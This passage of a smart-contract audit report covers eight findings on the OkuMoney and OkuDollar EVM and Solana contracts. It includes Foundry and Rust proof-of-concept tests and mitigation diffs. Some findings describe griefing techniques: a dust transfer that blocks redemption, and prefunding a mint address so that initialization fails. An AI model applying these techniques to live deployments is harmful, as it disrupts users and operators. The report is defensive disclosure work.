`OkuDollar::maxRedeem` returns `OkuDollar::balanceOf` of the owner whenever the vault is unpaused and the owner is not blacklisted, but `OkuDollar::_unwrap` reverts `AmountTooSmall` when `floor(usdAmount * 1e18 / multiplier)` is zero. A holder of exactly one internal share, at any multiplier above `1e18` that is not a multiple of it, has `balanceOf >= 1` but zero OkuM out, so `OkuDollar::redeem` of the `maxRedeem` amount always reverts. That breaks the EIP-4626 rule that `redeem` accepts what `maxRedeem` returns, while the README describes the vault as IERC4626-interface-conformant.

Any caller can put an address holding no shares into this state, since `transfer(to, 2)` at a multiplier of `1.05e18` moves one share. Integrator exit routines that redeem `maxRedeem` or loop while it is non-zero then revert, a batch exit fails as a whole, and the holder must top up to exit. Only one raw OkuM wei is stranded.

Proof of Concept:

The test gives a fresh address one internal share by a dust transfer and shows `redeem` of the `maxRedeem` amount reverting while `OkuDollar::maxWithdraw` reports zero.

Save it as `EVM/test/cyfrin-pocs/OkuDollarMaxRedeemDust.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {BaseTest} from "../Base.t.sol";
import {SharedErrors} from "../../src/lib/errors/SharedErrors.sol";

contract OkuDollarMaxRedeemDustTest is BaseTest {
    function test_PoC_MaxRedeemDust() public {
        _setOkuMMultiplierAndRoll(1.05e18);

        // user2 holds 4 internal shares and sends 2 wei of usdOku to an empty address
        _mintUsdOku(user2, 4);
        vm.prank(user2);
        okuDollar.transfer(user3, 2);

        // the transfer moved floor(2 / 1.05) = 1 internal share
        assertEq(okuDollar.usdSharesOf(user3), 1);
        assertEq(okuDollar.usdSharesOf(user2), 3);

        // control: a three share position redeems in full through maxRedeem
        uint256 maxRedeemUser2 = okuDollar.maxRedeem(user2);
        assertEq(maxRedeemUser2, 3);
        vm.prank(user2);
        okuDollar.redeem(maxRedeemUser2, user2, user2);
        assertEq(okuDollar.usdSharesOf(user2), 0);

        // the one share position reports a redeemable amount but redeem reverts
        uint256 maxRedeemUser3 = okuDollar.maxRedeem(user3);
        assertEq(maxRedeemUser3, 1);
        assertEq(okuDollar.maxWithdraw(user3), 0);

        vm.prank(user3);
        vm.expectRevert(SharedErrors.AmountTooSmall.selector);
        okuDollar.redeem(maxRedeemUser3, user3, user3);
    }
}
```

Run it with:

```
cd EVM && forge test --match-path test/cyfrin-pocs/OkuDollarMaxRedeemDust.t.sol --match-test
↪  test_PoC_MaxRedeemDust -vvvv
```

Recommended Mitigation:

Return zero from `maxRedeem` when the balance floors to zero OkuM, the condition under which `_unwrap` reverts `AmountTooSmall`.

```
--- a/EVM/src/token/OkuDollar.sol
+++ b/EVM/src/token/OkuDollar.sol
@@ -511,4 +511,7 @@
     function maxRedeem(address owner) public view returns (uint256) {
         if (_wrapHalted() || _blacklisted(owner)) return 0;
-        return balanceOf(owner);
+        uint256 balance = balanceOf(owner);
+        // `_unwrap` rejects a balance that floors to zero OkuM
+        if (_toShares(balance, usdMultiplier()) == 0) return 0;
+        return balance;
     }
```

OkuMoney:

Fixed in commit 86fae7b.

Cyfrin:

Verified.

9.3.2 SVM override self-fences on its own slot while EVM accepts a second override in the same block, so a back-to-back correction halts the chains at different bases

Description:

`yield_ops::set_okum_multiplier` first runs `yield_lock::check_yield_lock_with_clock`, commented "Self-fence", so a second override in the same slot reverts `OverrideInProgress`. `OkuMoneyRateSchedule::setOkuMMultiplier` has no such check and re-stamps `OkuMoneyRateSchedule::lastOverrideBlock`, so a second override in one block lands, which the repository's own tests expect. The SVM divergence catalogue does not mention the difference.

If the rate manager corrects an override by sending `override(m1)` then `override(m2)`, with `m2 > m1`, to every chain and the pair lands back to back, EVM halts at `m2` and SVM at `m1`, or at its pre-override value if both instructions share one SVM transaction. The split of `m2 / m1 - 1` persists until SVM is overridden again in a later slot (`set-multiplier.ts --to-match-evm`), and a mint at the lower value before then captures the step. The trigger needs two trusted overrides in one block and one slot of about 400 ms, which the one-override-per-run scripts cannot produce, and the drift monitor reports the spread.

Recommended Mitigation:

Revert a second override in the same L2 block before any state change, as `yield_ops::set_okum_multiplier` already does with its slot self-fence, comparing the same block number the override stamps.

```
--- a/EVM/src/token/OkuMoneyRateSchedule.sol
+++ b/EVM/src/token/OkuMoneyRateSchedule.sol
@@ -18,2 +18,3 @@
 import {IOkuMoney} from "../interfaces/IOkuMoney.sol";
+import {OverrideBlockGuard} from "../lib/OverrideBlockGuard.sol";
 import {IScaledUIAmount, IScaledUIAmountNewUIMultiplier} from "../interfaces/IScaledUIAmount.sol";
@@ -226,2 +227,5 @@
         RateScheduleStorage storage $ = _getRateScheduleStorage();
+        if (block.number == $.lastOverrideBlock) {
+            revert OverrideBlockGuard.OverrideInProgress();
+        }
```

```
        uint256 currentMultiplier = okuMMultiplier();
```

The repository's same-block test `test_MultipleOkuMMultiplierUpdates_SameBlock` expects the second override to land and must expect `OverrideInProgress` instead.

OkuMoney:

Fixed in commit c1c07c0.

Cyfrin:

Verified.

9.3.3 Rate re-arms store each chain's own landing second, so identical broadcasts leave chains' multipliers wei apart for good

Description:

`OkuMoneyRateSchedule::_setOkuMYieldRate` snapshots the multiplier into `OkuMoneyRateSchedule::okuMBaseMultiplier` and stores `block.timestamp` as `OkuMoneyRateSchedule::okuMLastAccrualTime`, and `yield_ops::apply_active_rate` does the same with `Clock::unix_timestamp`. `MathLib::rpow` rounds on every multiply and `MathLib::compoundFor` floors once per leg, so splitting a span at a different second gives a different integer on both stacks. Chains that re-arm an unchanged rate at different landing seconds therefore diverge, although the documentation says "Re-arming an unchanged rate is exactly skew-free" and that every chain returns the same multiplier at the same wall-clock second.

The epoch pipeline re-arms the running rate twice per epoch on every chain, so the gap builds in one direction and the monotonic multiplier cannot be lowered to close it. With a 12 s skew and rates of about 5% and 8% APY (PoC configuration) the later chain is 81 wei higher after 30 epochs and 1060 wei after 365, about 1e-15 relative. The later chain's PSM buffer pays that excess on redemptions, in proportion to the amount redeemed: on a 6-decimal reserve a redemption pays the difference of the two floored payouts (`floor(q * m / 1e30)` for `q` wei OkuM on EVM, `floor(q * m / 1e18)` for `q` raw units on Solana), at most one unit per redemption at the 81 wei gap while supply stays under the scripted 1 billion OkuM cap, and more only for a single redemption above about 12.3 billion OkuM, which needs a raised cap, and on BSC's 18-decimal reserve about 81 wei per OkuM after 30 epochs, too little to extract at a profit. The drift monitor tolerates 1 bps on the multiplier and does not flag it.

The same rounding also lets a paused re-arm at the same rate and end raise the projected curve, which the pause gate admits because it compares per-second rates and end times, although the documentation says rate setters may only lower the projected curve while paused. In a measured example at base 1e18 and about 5% APY, a same-rate re-arm 80,515 seconds into a 604,800-second window raises the multiplier at the window's end by 7 wei.

Proof of Concept:

The Foundry test applies the pipeline's two re-arms per epoch to two `OkuMoney` instances, the second landing 12 s after the first, for 30 epochs. The Rust test applies the same re-arms to `oku_shared::Schedule` and reaches the same two values on the SVM math.

Save it as `EVM/test/cyfrin-pocs/RateReanchorSkew.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {BaseTest} from "../Base.t.sol";
import {OkuMoney} from "../../src/token/OkuMoney.sol";
import {Deploy} from "../shared/Deploy.sol";

contract RateReanchorSkewTest is BaseTest {
    uint256 internal constant T0 = 1_800_000_000;
    uint256 internal constant DAY = 1 days;
    uint256 internal constant BASE_WINDOW = 80_640;
    uint256 internal constant SKEW = 12;
    uint256 internal constant EPOCHS = 30;
```

```
// about 5% APY and about 8% APY as per-second rates
uint256 internal constant RATE_BASE = 1_000_000_001_547_126_016;
uint256 internal constant RATE_SETTLE = 1_000_000_002_440_418_608;

OkuMoney internal chainA;
OkuMoney internal chainB;

function _apply(
    OkuMoney chain,
    uint256 rate,
    uint256 end,
    uint256 nextRate,
    uint256 nextEnd
)
    internal
{
    vm.prank(rateManager);
    chain.setOkuMYieldRateWithSuccessor(rate, end, nextRate, nextEnd);
}

function test_PoC_ReanchorSkewSplitsMultipliers() public {
    chainA = okuMoney;
    (chainB,) = Deploy.deployOkuMoney(admin);
    vm.prank(admin);
    chainB.grantRole(OKUM_RATE_MANAGER, rateManager);

    // identical first activation on both chains
    vm.warp(T0);
    _apply(chainA, RATE_BASE, T0 + BASE_WINDOW, RATE_SETTLE, T0 + DAY);
    _apply(chainB, RATE_BASE, T0 + BASE_WINDOW, RATE_SETTLE, T0 + DAY);

    for (uint256 k = 0; k < EPOCHS; k++) {
        uint256 s = T0 + k * DAY;

        // stage the settlement window: re-arm the running base rate unchanged
        vm.warp(s + BASE_WINDOW - 1 hours);
        _apply(chainA, RATE_BASE, s + BASE_WINDOW, RATE_SETTLE, s + DAY);
        vm.warp(s + BASE_WINDOW - 1 hours + SKEW);
        _apply(chainB, RATE_BASE, s + BASE_WINDOW, RATE_SETTLE, s + DAY);

        // roll the epoch: re-arm the running settlement rate unchanged
        vm.warp(s + BASE_WINDOW + 1000);
        _apply(chainA, RATE_SETTLE, s + DAY, RATE_BASE, s + DAY + BASE_WINDOW);
        vm.warp(s + BASE_WINDOW + 1000 + SKEW);
        _apply(chainB, RATE_SETTLE, s + DAY, RATE_BASE, s + DAY + BASE_WINDOW);
    }

    vm.warp(T0 + EPOCHS * DAY);

    // every field the drift monitor compares exactly is identical
    assertEq(chainA.okuMRatePerSecond(), chainB.okuMRatePerSecond());
    assertEq(chainA.okuMRateEnd(), chainB.okuMRateEnd());
    assertEq(chainA.okuMPendingRatePerSecond(), chainB.okuMPendingRatePerSecond());
    assertEq(chainA.okuMPendingRateEnd(), chainB.okuMPendingRateEnd());
    assertEq(chainB.okuMLastAccrualTime() - chainA.okuMLastAccrualTime(), SKEW);

    uint256 mA = chainA.okuMMultiplier();
    uint256 mB = chainB.okuMMultiplier();
    emit log_named_uint("chain A multiplier", mA);
    emit log_named_uint("chain B multiplier", mB);
    assertEq(mA, 1_004_173_195_218_205_656);
    assertEq(mB, 1_004_173_195_218_205_737);
    assertEq(mB - mA, 81);
```

```
    }
}
```

Run it with:

```
cd EVM && forge test --match-path test/cyfrin-pocs/RateReanchorSkew.t.sol --match-test
↪  test_PoC_ReanchorSkewSplitsMultipliers -vvvv
```

Save it as `SVM/oku-programs/crates/oku-shared/tests/cyfrin-pocs/main.rs`:

```
use oku_shared::Schedule;

const DAY: i64 = 86_400;
const T0: i64 = 1_800_000_000;
const BASE_WINDOW: i64 = 80_640;
const SKEW: i64 = 12;
const EPOCHS: i64 = 30;
// about 5% APY and about 8% APY as per-second rates
const RATE_BASE: u128 = 1_000_000_001_547_126_016;
const RATE_SETTLE: u128 = 1_000_000_002_440_418_608;

// the same steps as yield_ops apply_active_rate then apply_successor
fn rearm(
    s: &Schedule,
    now: i64,
    rate: u128,
    end: i64,
    next_rate: u128,
    next_end: i64,
) -> Schedule {
    let base = s.multiplier_at(now).expect("multiplier in domain");
    Schedule {
        base_multiplier: base,
        rate_per_second: rate,
        last_accrual_time: now,
        rate_end: end,
        pending_rate_per_second: next_rate,
        pending_rate_end: next_end,
    }
}

#[test]
fn poc_reanchor_skew_splits_multipliers() {
    let halted = Schedule::halted_at(T0);
    let mut a = rearm(&halted, T0, RATE_BASE, T0 + BASE_WINDOW, RATE_SETTLE, T0 + DAY);
    let mut b = a;

    for k in 0..EPOCHS {
        let s = T0 + k * DAY;

        let t1 = s + BASE_WINDOW - 3_600;
        a = rearm(&a, t1, RATE_BASE, s + BASE_WINDOW, RATE_SETTLE, s + DAY);
        b = rearm(&b, t1 + SKEW, RATE_BASE, s + BASE_WINDOW, RATE_SETTLE, s + DAY);

        let t2 = s + BASE_WINDOW + 1_000;
        a = rearm(&a, t2, RATE_SETTLE, s + DAY, RATE_BASE, s + DAY + BASE_WINDOW);
        b = rearm(&b, t2 + SKEW, RATE_SETTLE, s + DAY, RATE_BASE, s + DAY + BASE_WINDOW);
    }

    assert_eq!(a.rate_per_second, b.rate_per_second);
    assert_eq!(a.rate_end, b.rate_end);
    assert_eq!(a.pending_rate_per_second, b.pending_rate_per_second);
    assert_eq!(a.pending_rate_end, b.pending_rate_end);
```

```
    assert_eq!(b.last_accrual_time - a.last_accrual_time, SKEW);

    let end = T0 + EPOCHS * DAY;
    let m_a = a.multiplier_at(end).unwrap();
    let m_b = b.multiplier_at(end).unwrap();
    println!("chain A multiplier {m_a}");
    println!("chain B multiplier {m_b}");
    assert_eq!(m_a, 1_004_173_195_218_205_656);
    assert_eq!(m_b, 1_004_173_195_218_205_737);
    assert_eq!(m_b - m_a, 81);
}
```

Run it with:

```
cd SVM/oku-programs
cargo test -p oku-shared --test cyfrin-pocs poc_reanchor_skew_splits_multipliers -- --exact --nocapture
```

Recommended Mitigation:

Make a re-arm of the already-effective rate and end keep the stored base and anchor, and a re-arm of the successor after its predecessor lapsed promote it at the old `OkuMoneyRateSchedule::okuMRateEnd` with the multiplier at that time, so the stored schedule depends only on the broadcast, not on each chain's landing second (the curve is unchanged, and a paused same-rate re-arm raises nothing).

```
--- a/EVM/src/token/OkuMoneyRateSchedule.sol
+++ b/EVM/src/token/OkuMoneyRateSchedule.sol
@@ -294,4 +294,5 @@
         // Re-anchor at now with the new rate and window; any staged successor is cleared.
-        $.okuMBaseMultiplier = SafeCast.toUint96(snapshot);
-        $.okuMLastAccrualTime = SafeCast.toUint48(block.timestamp);
+        (uint256 base, uint256 anchor) = _rearmAnchor($, newRate, endTimestamp, snapshot);
+        $.okuMBaseMultiplier = SafeCast.toUint96(base);
+        $.okuMLastAccrualTime = SafeCast.toUint48(anchor);
         $.okuMRatePerSecond = SafeCast.toUint64(newRate);
@@ -305,2 +306,28 @@
         emit UIMultiplierUpdated(snapshot, snapshot, block.timestamp);
+    }
+
+    function _rearmAnchor(
+        RateScheduleStorage storage $,
+        uint256 newRate,
+        uint256 endTimestamp,
+        uint256 snapshot
+    )
+        private
+        view
+        returns (uint256 base, uint256 anchor)
+    {
+        uint256 rateEnd = $.okuMRateEnd;
+        if (newRate > Constants.PRECISION) {
+            if (block.timestamp <= rateEnd) {
+                if (newRate == $.okuMRatePerSecond && endTimestamp == rateEnd) {
+                    return ($.okuMBaseMultiplier, $.okuMLastAccrualTime);
+                }
+            } else if (
+                rateEnd != 0 && newRate == $.okuMPendingRatePerSecond
+                    && endTimestamp == $.okuMPendingRateEnd
+            ) {
+                return (_projectedAtRateEnd($), rateEnd);
+            }
+        }
+        return (snapshot, block.timestamp);
```

```
    }
```

On SVM, make `yield_ops::reanchor` take the base and anchor from a new `Schedule::rearm_anchor(now_ts, new_rate, new_end)` in `oku-shared` with the same three cases:

```
--- a/SVM/oku-programs/crates/oku-shared/src/rate.rs
+++ b/SVM/oku-programs/crates/oku-shared/src/rate.rs
@@ -95,2 +95,18 @@
         (self.rate_per_second, self.rate_end)
+    }
+
+    pub fn rearm_anchor(&self, now_ts: i64, new_rate: u128, new_end: i64) -> Option<(u128, i64)> {
+        if new_rate > PRECISION {
+            if now_ts <= self.rate_end {
+                if new_rate == self.rate_per_second && new_end == self.rate_end {
+                    return Some((self.base_multiplier, self.last_accrual_time));
+                }
+            } else if self.rate_end != 0
+                && new_rate == self.pending_rate_per_second
+                && new_end == self.pending_rate_end
+            {
+                return Some((self.multiplier_at(self.rate_end)?, self.rate_end));
+            }
+        }
+        Some((self.multiplier_at(now_ts)?, now_ts))
     }
```

`OkuMYieldRateUpdated` and SVM `YieldRateUpdated` keep reporting the multiplier at the write, which is no longer the stored base when a re-arm keeps or promotes it.

OkuMoney:

Fixed in commits 4e93c25 and 1d6e861.

Cyfrin:

Verified.

9.3.4 Mainnet deploy paths on both stacks sign with plaintext deployer keys that hold every privileged authority until hand-off, so a leaked key takes over the audited contracts

Description:

Both production deploy paths load the deployer key in plaintext, and the supplied documents prescribe no other procedure for it. Until the documented hand-off ends, that key holds every privileged authority over the deployed units, so anyone who obtains it can upgrade them to arbitrary logic, mint unbacked OkuM and drain the PSM. Revoking the key later does not undo what it already did. The root cause lies in out-of-scope deployment support, and the harm lands on the audited code.

1. EVM: each mainnet entry (mainnet, arbitrum, base, bsc, optimism) sets `accounts: process.env.PRIVATE_KEY ? [process.env.PRIVATE_KEY] : []`, which the documented `hh run scripts/deploy/index.ts --network <chain>` uses. The signer becomes admin of all three proxies with every role, including `DEFAULT_ADMIN_ROLE`, the upgrader roles and `OKUM_MINTER`, until `grantRolesMainnet.ts` revokes them
2. Solana: every script signs with the secret-key JSON file at `WALLET_PATH`, read into `Keypair.fromSecretKey`, and the mainnet deploy passes the same file as `--upgrade-authority`. `lite_psm::initialize` also makes that wallet `PsmConfig::role_admin` until the Squads handover completes; the pre-mainnet checklist asks for a KMS signer only for the orchestrator, "not the deployer wallet"

Recommended Mitigation:

Move both mainnet signers out of plaintext files. EVM: the project runs Hardhat 2, whose `hardhat vars` stores values in plaintext and is no fix, so move to Hardhat 3's keystore: `npx hardhat keystore set <NAME>` from `@nomicfoundation/hardhat-keystore` (registered in the config's `plugins` array unless the Hardhat toolbox in use already bundles it), and replace the `process.env.PRIVATE_KEY` entry in each of the five mainnet `accounts` in `EVM/hardhat.config.ts` with `accounts: [configVariable("<NAME>")]`, removing `PRIVATE_KEY` from `EVM/.env.example`. Solana: replace the secret-key file read from `WALLET_PATH` in `createProvider` (`SVM/oku-programs/scripts/utils/network.ts`) with a hardware-wallet signer, and pass that signer instead of `walletPath()` as `--keypair` and `--upgrade-authority` in `SVM/oku-programs/scripts/deploy/lib/programs.ts`, where the Solana CLI accepts a `usb://ledger` URI. The deployer's authority is shortest when the hand-off in `README.md` section "Mainnet ceremony" runs immediately after `deploy:init`, and a key that has already touched a plaintext file must be rotated.

OkuMoney:

Acknowledged in commit 3e3f606.

9.3.5 Mainnet role hand-off strips every deployer role after a check any granted address passes, so a wrong or non-signing cold address orphans admin and upgrade rights

Description:

The root cause lies in the hand-off script `EVM/scripts/operator/grantRolesMainnet.ts`, outside the audited files, and the harm lands on the in-scope `OkuMoney`, `OkuDollar` and `LitePSM` proxies whose roles it moves.

`requireEnv` accepts any syntactically valid address for `MAINNET_COLD_MULTISIG`. Step 1 grants that address `DEFAULT_ADMIN_ROLE`, every upgrader role, `OKUM_ALLOWANCE_MANAGER`, `PSM_BUFFER_WITHDRAWER` and the unpausers. The guard before the irreversible renounce then checks only `hasRole(DEFAULT_ADMIN_ROLE, cold)`, which step 1 has just made true whether or not the address has code or can sign on the connected chain, and the deployer renounces everything in the same run. The contracts use single-step `AccessControlUpgradeable` with no accept step, and the EVM ceremony prescribes no check that the cold Safe works on that chain, unlike the SVM path, which keeps the deployer until the cold vault has signed.

If the trusted operator supplies a cold address that is not an operable multisig on that chain, such as a typo or a Safe not yet deployed on a new chain, nobody can ever upgrade or re-administer the three proxies, refresh the PSM minter allowance, or unpause after a pause.

Recommended Mitigation:

Replace the `hasRole(DEFAULT_ADMIN_ROLE, cold)` guard, which step 1 has just made true, with proof that the cold address can transact on this chain: the guard passes only when a `RoleRevoked(DEFAULT_ADMIN_ROLE, deployer, cold)` log exists on each contract, so the cold multisig has itself sent `revokeRole` for the deployer's admin role, and only then do the renounces run.

```
--- a/EVM/scripts/operator/grantRolesMainnet.ts
+++ b/EVM/scripts/operator/grantRolesMainnet.ts
@@ -397,25 +397,25 @@
   logger.warning("  This step makes the Cold Multisig the sole meta-role holder.");

-  // Verified, not merely warned about: this is the one irreversible step in the
-  // script. If the cold multisig does not already hold DEFAULT_ADMIN_ROLE on a
-  // contract, revoking the deployer's leaves that contract with NO admin and no
-  // way to grant one. A contract missing from the address book is skipped by the
-  // grant loops above but would still be revoked here, so check every one.
-  const adminless: string[] = [];
+  // This is the one irreversible step, so it waits for proof that the cold
+  // multisig can act on this chain: its own transaction revoking the deployer's
+  // DEFAULT_ADMIN_ROLE on every contract. Holding the role, which step 1 has
+  // just granted, proves nothing about the address
+  const unproven: string[] = [];
   for (const [name, c] of Object.entries(contracts)) {
-    if (!(await c.hasRole(ROLES.DEFAULT_ADMIN_ROLE, cold))) adminless.push(name);
-  }
```

```
-  if (adminless.length > 0 && DRY_RUN) {
-    // Expected in a dry run: step 1 only printed the grants.
-    logger.info(`  [dry-run] cold multisig not yet admin on ${adminless.join(", ")} (step 1 not
↪  broadcast)`);
-  } else if (adminless.length > 0) {
+    const revoked = await c.queryFilter(
+      c.filters.RoleRevoked(ROLES.DEFAULT_ADMIN_ROLE, deployerAddress, cold)
+    );
+    if (revoked.length === 0) unproven.push(name);
+  }
+  if (unproven.length > 0 && DRY_RUN) {
+    logger.info(`  [dry-run] cold multisig has not yet revoked deployer admin on ${unproven.join(",
↪  ")}`);
+  } else if (unproven.length > 0) {
     throw new Error(
-      `Refusing to revoke deployer admin: cold multisig ${cold} does NOT hold ` +
-        `DEFAULT_ADMIN_ROLE on ${adminless.join(", ")}. Revoking now would leave ` +
-        `${adminless.length === 1 ? "that contract" : "those contracts"} permanently ` +
-        `without an admin. Re-run step 1 and confirm it succeeded.`
+      `Refusing to strip deployer roles: cold multisig ${cold} has not yet sent ` +
+        `revokeRole(DEFAULT_ADMIN_ROLE, ${deployerAddress}) on ${unproven.join(", ")}. ` +
+        `Execute that call from the cold multisig on this chain, then re-run.`
     );
   } else {
-    logger.success(`  Verified cold multisig holds DEFAULT_ADMIN_ROLE on all
↪  ${Object.keys(contracts).length} contracts`);
+    logger.success(`  Verified cold multisig revoked deployer admin on all
↪  ${Object.keys(contracts).length} contracts`);
   }
```

The ceremony now takes two runs with a cold-multisig `revokeRole` transaction between them, so `README.md` step 1 of the EVM ceremony and the `mainnetHandoverDrill` test, which expects one run to finish, change to match.

OkuMoney:

Fixed in commit a743c16.

Cyfrin:

Verified.

9.3.6 SVM catch-up script sizes the window from wall clock while the program anchors at the lagging `Clock`, so the laggard can end above the leader for good

Description:

The divergence runbook catches up an SVM laggard with `set-yield-rate.ts --mode=active --target-multiplier=<leader multiplier> --end=<leader rateEnd>` and promises that "A transaction landing late leaves the chain marginally under target, never over". The script sizes the window from `Date.now()`, but `yield_ops::set_okum_yield_rate` re-anchors at `Clock::unix_timestamp`, which can lag wall clock. The repository's own planner asks for the chain timestamp for this reason. The root cause lies in the operator script, outside the audited files, and the harm lands on the in-scope program.

When the lag exceeds the landing delay by `L - d` seconds, the laggard ends above the leader by a relative `(rc / 1e18)^(L - d) - 1`, about `(L - d) x (rc - 1e18) / 1e18`, which is about `(L - d) x 1e-7` at `MAX_RATE`. The multiplier never decreases, so `psm::redeem_oku_m` pays SVM holders the excess from `vault_usdc`, and parity needs every EVM chain run hot. A 3-day gap at about 5% APY closed over 5,760 seconds with `L - d` of 29 seconds overshoots by 2.06e-6, about 103 USDC on 50,000,000 USDC of SVM supply. The repository does not size the lag.

Proof of Concept:

1. SVM accrual is halted at `1020000000000000000` after its pause outlasted the armed window, while EVM keeps accruing at `1000000001547126016` per second for 3 more days, and the EVM `rateEnd` is `E`
2. With `E` 5,760 seconds after the script's `Date.now()` read, the operator runs the runbook command, and the script derives `rc = 1000000071167799208` for the target `1020418210751004070`
3. The transaction lands 1 second later while the `Clock` trails wall clock by 30 seconds, so `yield_ops::apply_active_rate` anchors at chain second `E - 5789`
4. At chain second `E` the SVM multiplier is `1020418210751004070 + 2106008734406`, above the leader, and neither `yield_ops::set_okum_multiplier` nor a rate write can lower it

Recommended Mitigation:

Take the catch-up window's start from the chain clock the program anchors at instead of `Date.now()`, so the on-chain window never exceeds the one the rate was derived for.

```
--- a/SVM/oku-programs/scripts/admin/set-yield-rate.ts
+++ b/SVM/oku-programs/scripts/admin/set-yield-rate.ts
@@ -33,5 +33,5 @@
 import * as anchor from '@anchor-lang/core';
 import { BN, Program } from '@anchor-lang/core';
-import { PublicKey } from '@solana/web3.js';
+import { Connection, PublicKey } from '@solana/web3.js';
 import { LitePsm } from '../../target/types/lite_psm';
 import { createProvider, detectNetwork } from '../utils/network';
@@ -55,4 +55,11 @@
 }

+/** Chain time, the `Clock` a rate write anchors at: it can lag wall clock, so a catch-up window must
↪  not start from `Date.now()` */
+async function chainNowSec(connection: Connection): Promise<number> {
+  const t = await connection.getBlockTime(await connection.getSlot('confirmed'));
+  if (t === null) throw new Error('No block time for the latest slot; retry instead of using wall
↪  clock.');
+  return t;
+}
+
 /** Resolve a rate from either an explicit WAD integer or a declared APY. */
 function resolveRate(rateArg?: string, apyArg?: string, label = 'rate'): bigint {
@@ -125,5 +132,5 @@
   const rateManager = resolveRoleSigner(provider, cfg, 'rateManager');
   const schedule = scheduleFromConfig(cfg);
-  const nowSec = Math.floor(Date.now() / 1000);
+  const nowSec = await chainNowSec(provider.connection);
   const currentMultiplier = computeMultiplier(schedule, BigInt(nowSec));
```

OkuMoney:

Fixed in commit 4de4a3e.

Cyfrin:

Verified.

9.3.7 `blacklistBoth.ts` does not set OkuDollar's local blacklist state

Description:

`blacklistBoth.ts` is intended to blacklist an account on both `OkuMoney` and `OkuDollar`. It calls `applyOne()` for `OkuMoney` first and then for `OkuDollar`. Before sending each transaction, `applyOne()` checks `isBlacklisted()` and skips the call if it already returns `true`:

```
const isBlacklisted: boolean = await contract.isBlacklisted(account);
if (action === "blacklist" && isBlacklisted) {
  logger.info(`  [${label}] already blacklisted -- skipping`);
  return;
}

await applyOne("OkuMoney", okuMoney, account, action, dryRun);
await applyOne("OkuDollar", okuDollar, account, action, dryRun);
```

`OkuDollar.isBlacklisted()` returns a composite status. It is `true` when the account is present in either OkuDollar's local blacklist or OkuMoney's blacklist:

```
function isBlacklisted(address account) external view returns (bool) {
    return _blacklisted(account);
}

function _blacklisted(address account) internal view returns (bool) {
    OkuDollarStorage storage $ = _getOkuDollarStorage();
    return $.isBlacklisted[account] || $.okuMoney.isBlacklisted(account);
}
```

Once the first transaction blacklists the account on `OkuMoney`, the following `OkuDollar.isBlacklisted()` call returns `true`. The script therefore skips `OkuDollar.blacklist()`. Its final check reads the same composite value and reports that both contracts are synchronized, although OkuDollar's local blacklist entry is still `false`.

Impact:

The command completes successfully without installing the OkuDollar-local blacklist entry it is intended to set. If the account is later unblacklisted only on OkuMoney, `OkuDollar.isBlacklisted()` also becomes `false`, and the account can use OkuDollar functions that were expected to remain blocked by the local blacklist.

The script's success message and post-condition do not reflect the two independent blacklist states.

Proof of Concept:

1. Start with an account that is not blacklisted on either contract.
2. Run `blacklistBoth.ts` with `ACTION=blacklist`.
3. The script calls `OkuMoney.blacklist(account)` and sets the OkuMoney entry to `true`.
4. The script then reads `OkuDollar.isBlacklisted(account)`. It returns `true` because the OkuMoney entry is now set.
5. The script skips `OkuDollar.blacklist(account)` and reports that both contracts are synchronized.
6. Call `OkuMoney.unblacklist(account)` without calling `OkuDollar.unblacklist(account)`.
7. `OkuDollar.isBlacklisted(account)` now returns `false`, showing that its local blacklist entry was never set.

```
                            OkuDollar local    OkuMoney    OkuDollar view
Initial state                      false          false          false
After blacklistBoth.ts             false          true           true
After OkuMoney unblacklist          false          false          false
```

Recommended Mitigation:

Add a getter that exposes OkuDollar's local blacklist entry:

```
function isLocallyBlacklisted(address account) external view returns (bool) {
    return _getOkuDollarStorage().isBlacklisted[account];
}
```

OkuMoney:

Fixed in commit 40ce36b.

Cyfrin:

Verified.

9.3.8 Pre-funding the random OkuM mint address can make initialization fail

Description:

The SVM deployment script generates a fresh keypair for the OkuM mint and passes it as a signer to the `initialize` transaction:

```
const okuMMintKeypair = Keypair.generate();
const okuMMint = okuMMintKeypair.publicKey;

await program.methods
  .initialize(params)
  .accountsPartial({
    okuMMint,
    // ...
  })
  .signers([okuMMintKeypair])
  .rpc();
```

The program creates that mint account with the System Program's `create_account` instruction:

```
invoke(
    &system_instruction::create_account(
        accounts.role_admin.key,
        &mint_key,
        lamports,
        fixed_space as u64,
        &token_2022_id,
    ),
    &[
        accounts.role_admin.to_account_info(),
        accounts.oku_m_mint.to_account_info(),
        accounts.system_program.to_account_info(),
    ],
)?;
```

`create_account` requires the destination address to be unused. Once the signed initialization transaction enters the transaction-ordering flow, the new mint public key is visible in its account list. A party that observes the transaction can submit a System Program transfer of minimum lamport to that public key. If the transfer is processed first, the mint address already contains lamports and the following `create_account` fails with `AccountAlreadyInUse`.

The initialization instruction is atomic, so the config and vault creation are also rolled back. The deployment script must generate another mint keypair and submit a new initialization transaction.

Impact:

An observer with transaction-ordering access can cause an initialization attempt to fail and delay deployment. The operator can retry with a fresh random mint keypair, while an observer can repeat the same pre-funding action against later attempts after seeing their transactions.

Recommended Mitigation:

Make the mint initialization prefunding-tolerant by transferring only the missing rent, allocating the required space, and assigning the account to Token-2022. Alternatively, explicitly document this deployment-time griefing risk and the fresh-keypair retry procedure.

OkuMoney:

Fixed in commit 3b9213e.

Cyfrin:

Verified.